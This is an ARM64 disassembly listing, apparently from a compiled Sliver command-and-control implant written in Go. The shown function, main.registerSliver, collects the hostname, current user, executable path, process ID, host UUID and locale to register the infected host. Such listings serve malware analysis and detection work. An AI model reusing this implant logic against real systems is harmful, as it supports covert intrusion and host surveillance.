    00510ce4ldr x6, [x5+8]
    00510ce8str x6, [x25+8]
    00510cecb 0x510cf0
    00510cf0
    00510cf0loc_510cf0:
    00510cf0str x7, [x5+8]
    00510cf4ldr x2, [sp+232]
    00510cf8ldrsb x27, [x2]
    00510cfcb 0x510d00
    00510d00
    00510d00loc_510d00:
    00510d00str x2, [sp+240]
    00510d04orr x4, xzr, 1
    00510d08str x4, [sp+248]
    00510d0cstr x4, [sp+256]
    00510d10adrp x0, 0x1ae000
    00510d14add x0, x0, 848
    00510d18orr x1, xzr, 32
    00510d1cmov x3, x4
    00510d20bl log.Printf
    00510d24str xzr, [sp+48]
    00510d28mov x0, xzr
    00510d2cldp x29, x30, [sp-8]
    00510d30add sp, sp, 272
    00510d34ret x30
    00510d38
    00510d38loc_510d38:
    00510d38adrp x0, 0x174000
    00510d3cadd x0, x0, 2848
    00510d40bl runtime.newobject
    00510d44str x0, [sp+200]
    00510d48adrp x27, 0x53b000
    00510d4cldr w1, [x27+3056]
    00510d50cbz w1, 0x510d58
    00510d54b 0x510d5c
    00510d58
    00510d58loc_510d58:
    00510d58b 0x510d78
    00510d5c
    00510d5cloc_510d5c:
    00510d5cstr x0, [sp+192]
    00510d60mov x1, x0
    00510d64adrp x0, 0x174000
    00510d68add x0, x0, 2848
    00510d6cbl runtime.wbZero
    00510d70ldr x0, [sp+192]
    00510d74b 0x510d78
    00510d78
    00510d78loc_510d78:
    00510d78mov x20, x0
    00510d7cadr x27, 16
    00510d80stp x29, x27, [sp-24]
    00510d84sub x29, sp, 24
    00510d88bl fn_87cfc
    00510d8csub x29, sp, 8
    00510d90str xzr, [x0+80]
    00510d94ldr x1, [sp+200]
    00510d98ldrsb x27, [x1]
    00510d9cldr w2, [sp+280]
    00510da0str w2, [x1+16]
    00510da4ldr x1, [sp+200]
    00510da8ldrsb x27, [x1]
    00510dacldr x2, [sp+72]
    00510db0ldr x3, [sp+80]
    00510db4ldr x4, [sp+88]
    00510db8str x3, [x1+32]
    00510dbcstr x4, [x1+40]
    00510dc0adrp x27, 0x53b000
    00510dc4ldr w3, [x27+3056]
    00510dc8cbz w3, 0x510dd0
    00510dccb 0x510dd4
    00510dd0
    00510dd0loc_510dd0:
    00510dd0b 0x510de8
    00510dd4
    00510dd4loc_510dd4:
    00510dd4bl runtime.gcWriteBarrier2
    00510dd8str x2, [x25]
    00510ddcldr x3, [x1+24]
    00510de0str x3, [x25+8]
    00510de4b 0x510de8
    00510de8
    00510de8loc_510de8:
    00510de8str x2, [x1+24]
    00510decldr x0, [sp+200]
    00510df0str x0, [sp+48]
    00510df4ldp x29, x30, [sp-8]
    00510df8add sp, sp, 272
    00510dfcret x30
    00510e00
    00510e00loc_510e00:
    00510e00str w0, [sp+8]
    00510e04stp x1, x2, [sp+16]
    00510e08mov x3, x30
    00510e0cbl runtime.morestack_noctxt.abi0
    00510e10ldr w0, [sp+8]
    00510e14ldp x1, x2, [sp+16]
    00510e18b 0x510bc0
    00510e1cudf 0
    00510bc0
    00510e20
    00510e20main.registerSliver: ; void main.registerSliver(void)
    00510e20ldr x16, [x28+16]
    00510e24sub x17, sp, 448
    00510e28subs xzr, x17, x16
    00510e2cb.ls 0x5116f4
    00510e30sub x20, sp, 576
    00510e34stp x29, x30, [x20-8]
    00510e38add sp, x20, 0
    00510e3csub x29, sp, 8
    00510e40str xzr, [sp+72]
    00510e44add x27, sp, 536
    00510e48stp xzr, xzr, [x27]
    00510e4cadd x27, sp, 520
    00510e50stp xzr, xzr, [x27]
    00510e54bl os.Hostname
    00510e58str x0, [sp+536]
    00510e5cstr x1, [sp+544]
    00510e60str x2, [sp+520]
    00510e64str x3, [sp+528]
    00510e68ldr x0, [sp+536]
    00510e6cldr x1, [sp+544]
    00510e70str x0, [sp+240]
    00510e74str x1, [sp+248]
    00510e78ldr x0, [sp+520]
    00510e7cldr x1, [sp+528]
    00510e80str x0, [sp+192]
    00510e84str x1, [sp+200]
    00510e88ldr x0, [sp+240]
    00510e8cldr x1, [sp+248]
    00510e90str x0, [sp+96]
    00510e94str x1, [sp+104]
    00510e98ldr x0, [sp+200]
    00510e9cldr x1, [sp+192]
    00510ea0str x1, [sp+128]
    00510ea4str x0, [sp+136]
    00510ea8cbnz x1, 0x510eb0
    00510eacb 0x510f68
    00510eb0
    00510eb0loc_510eb0:
    00510eb0stp xzr, xzr, [sp+504]
    00510eb4add x5, sp, 504
    00510eb8str x5, [sp+448]
    00510ebcldr x5, [sp+128]
    00510ec0ldr x6, [sp+136]
    00510ec4str x5, [sp+432]
    00510ec8str x6, [sp+440]
    00510eccstr x5, [sp+424]
    00510ed0ldr x5, [sp+424]
    00510ed4cbnz x5, 0x510edc
    00510ed8b 0x510eec
    00510edc
    00510edcloc_510edc:
    00510edcldr x5, [sp+424]
    00510ee0ldr x5, [x5+8]
    00510ee4str x5, [sp+424]
    00510ee8b 0x510ef0
    00510eec
    00510eecloc_510eec:
    00510eecb 0x510ef0
    00510ef0
    00510ef0loc_510ef0:
    00510ef0ldr x5, [sp+448]
    00510ef4ldrsb x27, [x5]
    00510ef8ldr x6, [sp+424]
    00510efcldr x7, [sp+440]
    00510f00str x6, [x5]
    00510f04adrp x27, 0x53b000
    00510f08ldr w6, [x27+3056]
    00510f0ccbz w6, 0x510f14
    00510f10b 0x510f18
    00510f14
    00510f14loc_510f14:
    00510f14b 0x510f2c
    00510f18
    00510f18loc_510f18:
    00510f18bl runtime.gcWriteBarrier2
    00510f1cstr x7, [x25]
    00510f20ldr x6, [x5+8]
    00510f24str x6, [x25+8]
    00510f28b 0x510f2c
    00510f2c
    00510f2cloc_510f2c:
    00510f2cstr x7, [x5+8]
    00510f30ldr x2, [sp+448]
    00510f34ldrsb x27, [x2]
    00510f38b 0x510f3c
    00510f3c
    00510f3cloc_510f3c:
    00510f3cstr x2, [sp+456]
    00510f40orr x4, xzr, 1
    00510f44str x4, [sp+464]
    00510f48str x4, [sp+472]
    00510f4cadrp x0, 0x1ad000
    00510f50add x0, x0, 2153
    00510f54orr x1, xzr, 31
    00510f58mov x3, x4
    00510f5cbl log.Printf
    00510f60stp xzr, xzr, [sp+96]
    00510f64b 0x510f6c
    00510f68
    00510f68loc_510f68:
    00510f68b 0x510f6c
    00510f6c
    00510f6cloc_510f6c:
    00510f6cstr xzr, [sp+496]
    00510f70add x27, sp, 520
    00510f74stp xzr, xzr, [x27]
    00510f78bl os/user.Current
    00510f7cstr x0, [sp+496]
    00510f80str x1, [sp+520]
    00510f84str x2, [sp+528]
    00510f88ldr x0, [sp+496]
    00510f8cstr x0, [sp+184]
    00510f90ldr x0, [sp+520]
    00510f94ldr x1, [sp+528]
    00510f98str x0, [sp+168]
    00510f9cstr x1, [sp+176]
    00510fa0ldr x0, [sp+184]
    00510fa4str x0, [sp+144]
    00510fa8ldr x0, [sp+176]
    00510facldr x1, [sp+168]
    00510fb0str x1, [sp+128]
    00510fb4str x0, [sp+136]
    00510fb8cbnz x1, 0x510fc0
    00510fbcb 0x511198
    00510fc0
    00510fc0loc_510fc0:
    00510fc0stp xzr, xzr, [sp+504]
    00510fc4add x5, sp, 504
    00510fc8str x5, [sp+392]
    00510fccldr x5, [sp+128]
    00510fd0ldr x6, [sp+136]
    00510fd4str x5, [sp+376]
    00510fd8str x6, [sp+384]
    00510fdcstr x5, [sp+368]
    00510fe0ldr x5, [sp+368]
    00510fe4cbnz x5, 0x510fec
    00510fe8b 0x510ffc
    00510fec
    00510fecloc_510fec:
    00510fecldr x5, [sp+368]
    00510ff0ldr x5, [x5+8]
    00510ff4str x5, [sp+368]
    00510ff8b 0x511000
    00510ffc
    00510ffcloc_510ffc:
    00510ffcb 0x511000
    00511000
    00511000loc_511000:
    00511000ldr x5, [sp+392]
    00511004ldrsb x27, [x5]
    00511008ldr x6, [sp+368]
    0051100cldr x7, [sp+384]
    00511010str x6, [x5]
    00511014adrp x27, 0x53a000
    00511018ldr w6, [x27+3056]
    0051101ccbz w6, 0x511024
    00511020b 0x511028
    00511024
    00511024loc_511024:
    00511024b 0x51103c
    00511028
    00511028loc_511028:
    00511028bl runtime.gcWriteBarrier2
    0051102cstr x7, [x25]
    00511030ldr x6, [x5+8]
    00511034str x6, [x25+8]
    00511038b 0x51103c
    0051103c
    0051103cloc_51103c:
    0051103cstr x7, [x5+8]
    00511040ldr x2, [sp+392]
    00511044ldrsb x27, [x2]
    00511048b 0x51104c
    0051104c
    0051104cloc_51104c:
    0051104cstr x2, [sp+400]
    00511050orr x4, xzr, 1
    00511054str x4, [sp+408]
    00511058str x4, [sp+416]
    0051105cadrp x0, 0x1af000
    00511060add x0, x0, 2036
    00511064movz x1, 35
    00511068mov x3, x4
    0051106cbl log.Printf
    00511070add x20, sp, 280
    00511074adr x27, 16
    00511078stp x29, x27, [sp-24]
    0051107csub x29, sp, 24
    00511080bl fn_87cfc
    00511084sub x29, sp, 8
    00511088add x20, sp, 280
    0051108cstr x20, [sp+360]
    00511090ldrsb x27, [x20]
    00511094adrp x27, 0x53a000
    00511098ldr w5, [x27+3056]
    0051109ccbz w5, 0x5110a4
    005110a0b 0x5110a8
    005110a4
    005110a4loc_5110a4:
    005110a4b 0x5110c0
    005110a8
    005110a8loc_5110a8:
    005110a8adrp x0, 0x15d000
    005110acadd x0, x0, 3328
    005110b0mov x1, x20
    005110b4bl runtime.wbZero
    005110b8add x20, sp, 280
    005110bcb 0x5110c0
    005110c0
    005110c0loc_5110c0:
    005110c0adr x27, 16
    005110c4stp x29, x27, [sp-24]
    005110c8sub x29, sp, 24
    005110ccbl fn_87cfc
    005110d0sub x29, sp, 8
    005110d4ldr x0, [sp+360]
    005110d8ldrsb x27, [x0]
    005110dcmovz x1, 5
    005110e0str x1, [x0+40]
    005110e4adrp x27, 0x53a000
    005110e8ldr w2, [x27+3056]
    005110eccbz w2, 0x5110f4
    005110f0b 0x5110f8
    005110f4
    005110f4loc_5110f4:
    005110f4b 0x511108
    005110f8
    005110f8loc_5110f8:
    005110f8ldr x2, [x0+32]
    005110fcbl runtime.gcWriteBarrier1
    00511100str x2, [x25]
    00511104b 0x511108
    00511108
    00511108loc_511108:
    00511108adrp x2, 0x19f000
    0051110cadd x2, x2, 1482
    00511110str x2, [x0+32]
    00511114ldr x0, [sp+360]
    00511118ldrsb x27, [x0]
    0051111cstr x1, [x0+8]
    00511120adrp x27, 0x53a000
    00511124ldr w2, [x27+3056]
    00511128cbz w2, 0x511130
    0051112cb 0x511134
    00511130
    00511130loc_511130:
    00511130b 0x511144
    00511134
    00511134loc_511134:
    00511134ldr x2, [x0]
    00511138bl runtime.gcWriteBarrier1
    0051113cstr x2, [x25]
    00511140b 0x511144
    00511144
    00511144loc_511144:
    00511144adrp x2, 0x19f000
    00511148add x2, x2, 1482
    0051114cstr x2, [x0]
    00511150ldr x0, [sp+360]
    00511154ldrsb x27, [x0]
    00511158str x1, [x0+24]
    0051115cadrp x27, 0x53a000
    00511160ldr w2, [x27+3056]
    00511164cbz w2, 0x51116c
    00511168b 0x511170
    0051116c
    0051116cloc_51116c:
    0051116cb 0x511180
    00511170
    00511170loc_511170:
    00511170ldr x2, [x0+16]
    00511174bl runtime.gcWriteBarrier1
    00511178str x2, [x25]
    0051117cb 0x511180
    00511180
    00511180loc_511180:
    00511180adrp x2, 0x19f000
    00511184add x2, x2, 1482
    00511188str x2, [x0+16]
    0051118cldr x0, [sp+360]
    00511190str x0, [sp+144]
    00511194b 0x51119c
    00511198
    00511198loc_511198:
    00511198b 0x51119c
    0051119c
    0051119cloc_51119c:
    0051119cadd x27, sp, 536
    005111a0stp xzr, xzr, [x27]
    005111a4add x27, sp, 520
    005111a8stp xzr, xzr, [x27]
    005111acbl os.Executable
    005111b0str x0, [sp+536]
    005111b4str x1, [sp+544]
    005111b8str x2, [sp+520]
    005111bcstr x3, [sp+528]
    005111c0ldr x0, [sp+536]
    005111c4ldr x1, [sp+544]
    005111c8str x0, [sp+152]
    005111ccstr x1, [sp+160]
    005111d0ldr x0, [sp+520]
    005111d4ldr x1, [sp+528]
    005111d8str x0, [sp+552]
    005111dcstr x1, [sp+560]
    005111e0ldr x0, [sp+152]
    005111e4ldr x1, [sp+160]
    005111e8str x0, [sp+112]
    005111ecstr x1, [sp+120]
    005111f0ldr x0, [sp+560]
    005111f4ldr x1, [sp+552]
    005111f8str x1, [sp+128]
    005111fcstr x0, [sp+136]
    00511200cbnz x1, 0x511208
    00511204b 0x511268
    00511208
    00511208loc_511208:
    00511208adrp x27, 0x511000
    0051120cldr x2, [x27+2728]
    00511210str x2, [sp+64]
    00511214cbnz x2, 0x51121c
    00511218b 0x51124c
    0051121c
    0051121cloc_51121c:
    0051121cadrp x27, 0x511000
    00511220ldr x2, [x27+2720]
    00511224adrp x27, 0x511000
    00511228ldr x1, [x27+2728]
    0051122csubs xzr, x1, 0
    00511230b.hi 0x511238
    00511234b 0x5116e8
    00511238
    00511238loc_511238:
    00511238ldr x0, [x2]
    0051123cldr x1, [x2+8]
    00511240str x0, [sp+112]
    00511244str x1, [sp+120]
    00511248b 0x511264
    0051124c
    0051124cloc_51124c:
    0051124cadrp x0, 0x19f000
    00511250add x0, x0, 1482
    00511254str x0, [sp+112]
    00511258movz x0, 5
    0051125cstr x0, [sp+120]
    00511260b 0x511264
    00511264
    00511264loc_511264:
    00511264b 0x51126c
    00511268
    00511268loc_511268:
    00511268b 0x51126c
    0051126c
    0051126cloc_51126c:
    0051126cbl github.com/bishopfox/sliver/implant/sliver/hostuuid.GetUUID
    00511270str x0, [sp+80]
    00511274str x1, [sp+88]
    00511278stp xzr, xzr, [sp+504]
    0051127cadd x0, sp, 504
    00511280str x0, [sp+232]
    00511284ldr x0, [sp+80]
    00511288ldr x1, [sp+88]
    0051128cbl runtime.convTstring
    00511290str x0, [sp+224]
    00511294ldr x1, [sp+232]
    00511298ldrsb x27, [x1]
    0051129cadrp x2, 0xe4000
    005112a0add x2, x2, 2944
    005112a4str x2, [x1]
    005112a8adrp x27, 0x53a000
    005112acldr w2, [x27+3056]
    005112b0cbz w2, 0x5112b8
    005112b4b 0x5112bc
    005112b8
    005112b8loc_5112b8:
    005112b8b 0x5112d0
    005112bc
    005112bcloc_5112bc:
    005112bcbl runtime.gcWriteBarrier2
    005112c0str x0, [x25]
    005112c4ldr x5, [x1+8]
    005112c8str x5, [x25+8]
    005112ccb 0x5112d0
    005112d0
    005112d0loc_5112d0:
    005112d0str x0, [x1+8]
    005112d4ldr x2, [sp+232]
    005112d8ldrsb x27, [x2]
    005112dcb 0x5112e0
    005112e0
    005112e0loc_5112e0:
    005112e0str x2, [sp+256]
    005112e4orr x4, xzr, 1
    005112e8str x4, [sp+264]
    005112ecstr x4, [sp+272]
    005112f0adrp x0, 0x1a2000
    005112f4add x0, x0, 1212
    005112f8movz x1, 13
    005112fcmov x3, x4
    00511300bl log.Printf
    00511304bl github.com/bishopfox/sliver/implant/sliver/version.GetVersion
    00511308str x0, [sp+536]
    0051130cstr x1, [sp+544]
    00511310bl os.Getpid
    00511314str x0, [sp+64]
    00511318bl github.com/bishopfox/sliver/implant/sliver/transports.GetReconnectInterval
    0051131cstr x0, [sp+56]
    00511320bl github.com/bishopfox/sliver/implant/sliver/locale.GetLocale
    00511324str x0, [sp+480]
    00511328str x1, [sp+488]
    0051132cadrp x0, 0x192000
    00511330add x0, x0, 1248
    00511334bl runtime.newobject
    00511338str x0, [sp+216]
    0051133cadrp x27, 0x53a000
    00511340ldr w5, [x27+3056]
    00511344cbz w5, 0x51134c
    00511348b 0x511350
    0051134c
    0051134cloc_51134c:
    0051134cb 0x51136c
    00511350
    00511350loc_511350:
    00511350str x0, [sp+208]
    00511354mov x1, x0
    00511358adrp x0, 0x192000
    0051135cadd x0, x0, 1248
    00511360bl runtime.wbZero
    00511364ldr x0, [sp+208]
    00511368b 0x51136c
    0051136c
    0051136cloc_51136c:
    0051136cmov x20, x0
    00511370adr x27, 16
    00511374stp x29, x27, [sp-24]
    00511378sub x29, sp, 24
    0051137cbl fn_87cc8
    00511380sub x29, sp, 8
    00511384ldr x1, [sp+216]
    00511388ldrsb x27, [x1]
    0051138cadrp x27, 0x4fc000
    00511390ldr x2, [x27+2528]
    00511394adrp x27, 0x4fc000
    00511398ldr x3, [x27+2536]
    0051139cstr x3, [x1+16]
    005113a0adrp x27, 0x53a000
    005113a4ldr w3, [x27+3056]
    005113a8cbz w3, 0x5113b0
    005113acb 0x5113b4
    005113b0
    005113b0loc_5113b0:
    005113b0b 0x5113c8
    005113b4
    005113b4loc_5113b4:
    005113b4bl runtime.gcWriteBarrier2
    005113b8str x2, [x25]
    005113bcldr x3, [x1+8]
    005113c0str x3, [x25+8]
    005113c4b 0x5113c8
    005113c8
    005113c8loc_5113c8:
    005113c8str x2, [x1+8]
    005113ccldr x1, [sp+216]
    005113d0ldrsb x27, [x1]
    005113d4ldr x2, [sp+96]
    005113d8ldr x3, [sp+104]
    005113dcstr x3, [x1+32]
    005113e0adrp x27, 0x53a000
    005113e4ldr w3, [x27+3056]
    005113e8cbz w3, 0x5113f0
    005113ecb 0x5113f4
    005113f0
    005113f0loc_5113f0:
    005113f0b 0x511408
    005113f4
    005113f4loc_5113f4:
    005113f4bl runtime.gcWriteBarrier2
    005113f8str x2, [x25]
    005113fcldr x3, [x1+24]
    00511400str x3, [x25+8]
    00511404b 0x511408
    00511408
    00511408loc_511408:
    00511408str x2, [x1+24]
    0051140cldr x1, [sp+216]
    00511410ldrsb x27, [x1]
    00511414ldr x2, [sp+80]
    00511418ldr x3, [sp+88]
    0051141cstr x3, [x1+48]
    00511420adrp x27, 0x53a000
    00511424ldr w3, [x27+3056]
    00511428cbz w3, 0x511430
    0051142cb 0x511434
    00511430
    00511430loc_511430:
    00511430b 0x511448
    00511434
    00511434loc_511434:
    00511434bl runtime.gcWriteBarrier2
    00511438str x2, [x25]
    0051143cldr x3, [x1+40]
    00511440str x3, [x25+8]
    00511444b 0x511448
    00511448
    00511448loc_511448:
    00511448str x2, [x1+40]
    0051144cldr x1, [sp+216]
    00511450ldrsb x27, [x1]
    00511454ldr x2, [sp+144]
    00511458ldrsb x27, [x2]
    0051145cldr x3, [x2+32]
    00511460ldr x2, [x2+40]
    00511464str x2, [x1+64]
    00511468adrp x27, 0x53a000
    0051146cldr w2, [x27+3056]
    00511470cbz w2, 0x511478
    00511474b 0x51147c
    00511478
    00511478loc_511478:
    00511478b 0x511490
    0051147c
    0051147cloc_51147c:
    0051147cbl runtime.gcWriteBarrier2
    00511480str x3, [x25]
    00511484ldr x2, [x1+56]
    00511488str x2, [x25+8]
    0051148cb 0x511490
    00511490
    00511490loc_511490:
    00511490str x3, [x1+56]
    00511494ldr x1, [sp+216]
    00511498ldrsb x27, [x1]
    0051149cldr x2, [sp+144]
    005114a0ldrsb x27, [x2]
    005114a4ldr x3, [x2]
    005114a8ldr x2, [x2+8]
    005114acstr x2, [x1+80]
    005114b0adrp x27, 0x53a000
    005114b4ldr w2, [x27+3056]
    005114b8cbz w2, 0x5114c0
    005114bcb 0x5114c4
    005114c0
    005114c0loc_5114c0:
    005114c0b 0x5114d8
    005114c4
    005114c4loc_5114c4:
    005114c4bl runtime.gcWriteBarrier2
    005114c8str x3, [x25]
    005114ccldr x2, [x1+72]
    005114d0str x2, [x25+8]
    005114d4b 0x5114d8
    005114d8
    005114d8loc_5114d8:
    005114d8str x3, [x1+72]
    005114dcldr x1, [sp+216]
    005114e0ldrsb x27, [x1]
    005114e4ldr x2, [sp+144]
    005114e8ldrsb x27, [x2]
    005114ecldr x3, [x2+16]
    005114f0ldr x2, [x2+24]
    005114f4str x2, [x1+96]
    005114f8adrp x27, 0x53a000
    005114fcldr w2, [x27+3056]
    00511500cbz w2, 0x511508
    00511504b 0x51150c
    00511508
    00511508loc_511508:
    00511508b 0x511520
    0051150c
    0051150cloc_51150c:
    0051150cbl runtime.gcWriteBarrier2
    00511510str x3, [x25]
    00511514ldr x2, [x1+88]
    00511518str x2, [x25+8]
    0051151cb 0x511520
    00511520
    00511520loc_511520:
    00511520str x3, [x1+88]
    00511524ldr x1, [sp+216]
    00511528ldrsb x27, [x1]
    0051152cmovz x2, 5
    00511530str x2, [x1+112]
    00511534adrp x27, 0x53a000
    00511538ldr w3, [x27+3056]
    0051153ccbz w3, 0x511544
    00511540b 0x511548
    00511544
    00511544loc_511544:
    00511544b 0x511558
    00511548
    00511548loc_511548:
    00511548ldr x3, [x1+104]
    0051154cbl runtime.gcWriteBarrier1
    00511550str x3, [x25]
    00511554b 0x511558
    00511558
    00511558loc_511558:
    00511558adrp x3, 0x19f000
    0051155cadd x3, x3, 1487
    00511560str x3, [x1+104]
    00511564ldr x1, [sp+216]
    00511568ldrsb x27, [x1]
    0051156cldr x3, [sp+536]
    00511570ldr x4, [sp+544]
    00511574str x4, [x1+184]
    00511578adrp x27, 0x53a000
    0051157cldr w4, [x27+3056]
    00511580cbz w4, 0x511588
    00511584b 0x51158c
    00511588
    00511588loc_511588:
    00511588b 0x5115a0
    0051158c
    0051158cloc_51158c:
    0051158cbl runtime.gcWriteBarrier2
    00511590str x3, [x25]
    00511594ldr x4, [x1+176]
    00511598str x4, [x25+8]
    0051159cb 0x5115a0
    005115a0
    005115a0loc_5115a0:
    005115a0str x3, [x1+176]
    005115a4ldr x1, [sp+216]
    005115a8ldrsb x27, [x1]
    005115acstr x2, [x1+128]
    005115b0adrp x27, 0x53a000
    005115b4ldr w2, [x27+3056]
    005115b8cbz w2, 0x5115c0
    005115bcb 0x5115c4
    005115c0
    005115c0loc_5115c0:
    005115c0b 0x5115d4
    005115c4
    005115c4loc_5115c4:
    005115c4ldr x2, [x1+120]
    005115c8bl runtime.gcWriteBarrier1
    005115ccstr x2, [x25]
    005115d0b 0x5115d4
    005115d4
    005115d4loc_5115d4:
    005115d4adrp x2, 0x19f000
    005115d8add x2, x2, 1492
    005115dcstr x2, [x1+120]
    005115e0ldr x1, [sp+216]
    005115e4ldrsb x27, [x1]
    005115e8ldr x2, [sp+64]
    005115ecstr w2, [x1+136]
    005115f0ldr x1, [sp+216]
    005115f4ldrsb x27, [x1]
    005115f8ldr x2, [sp+112]
    005115fcldr x3, [sp+120]
    00511600str x3, [x1+152]
    00511604adrp x27, 0x53a000
    00511608ldr w3, [x27+3056]
    0051160ccbz w3, 0x511614
    00511610b 0x511618
    00511614
    00511614loc_511614:
    00511614b 0x51162c
    00511618
    00511618loc_511618:
    00511618bl runtime.gcWriteBarrier2
    0051161cstr x2, [x25]
    00511620ldr x3, [x1+144]
    00511624str x3, [x25+8]
    00511628b 0x51162c
    0051162c
    0051162cloc_51162c:
    0051162cstr x2, [x1+144]
    00511630ldr x1, [sp+216]
    00511634ldrsb x27, [x1]
    00511638ldr x2, [sp+56]
    0051163cstr x2, [x1+192]
    00511640ldr x1, [sp+216]
    00511644ldrsb x27, [x1]
    00511648movz x2, 36
    0051164cstr x2, [x1+224]
    00511650adrp x27, 0x53a000
    00511654ldr w2, [x27+3056]
    00511658cbz w2, 0x511660
    0051165cb 0x511664
    00511660
    00511660loc_511660:
    00511660b 0x511674
    00511664
    00511664loc_511664:
    00511664ldr x2, [x1+216]
    00511668bl runtime.gcWriteBarrier1
    0051166cstr x2, [x25]
    00511670b 0x511674
    00511674
    00511674loc_511674:
    00511674adrp x2, 0x1b0000
    00511678add x2, x2, 985
    0051167cstr x2, [x1+216]
    00511680ldr x1, [sp+216]
    00511684ldrsb x27, [x1]
    00511688adrp x27, 0x53a000
    0051168cldr x2, [x27+2144]
    00511690str x2, [x1+232]
    00511694ldr x1, [sp+216]
    00511698ldrsb x27, [x1]
    0051169cldr x2, [sp+480]
    005116a0ldr x3, [sp+488]
    005116a4str x3, [x1+248]
    005116a8adrp x27, 0x53a000
    005116acldr w3, [x27+3056]
    005116b0cbz w3, 0x5116b8
    005116b4b 0x5116bc
    005116b8
    005116b8loc_5116b8:
    005116b8b 0x5116d0
    005116bc
    005116bcloc_5116bc:
    005116bcbl runtime.gcWriteBarrier2
    005116c0str x2, [x25]
    005116c4ldr x3, [x1+240]
    005116c8str x3, [x25+8]
    005116ccb 0x5116d0
    005116d0
    005116d0loc_5116d0:
    005116d0str x2, [x1+240]
    005116d4ldr x0, [sp+216]
    005116d8str x0, [sp+72]
    005116dcldp x29, x30, [sp-8]
    005116e0add sp, sp, 576
    005116e4ret x30
    005116e8
    005116e8loc_5116e8:
    005116e8mov x0, xzr
    005116ecbl runtime.panicIndex
    005116f0hint
    005116f4
    005116f4loc_5116f4:
    005116f4mov x3, x30
    005116f8bl runtime.morestack_noctxt.abi0
    005116fcb 0x510e20
    00510e20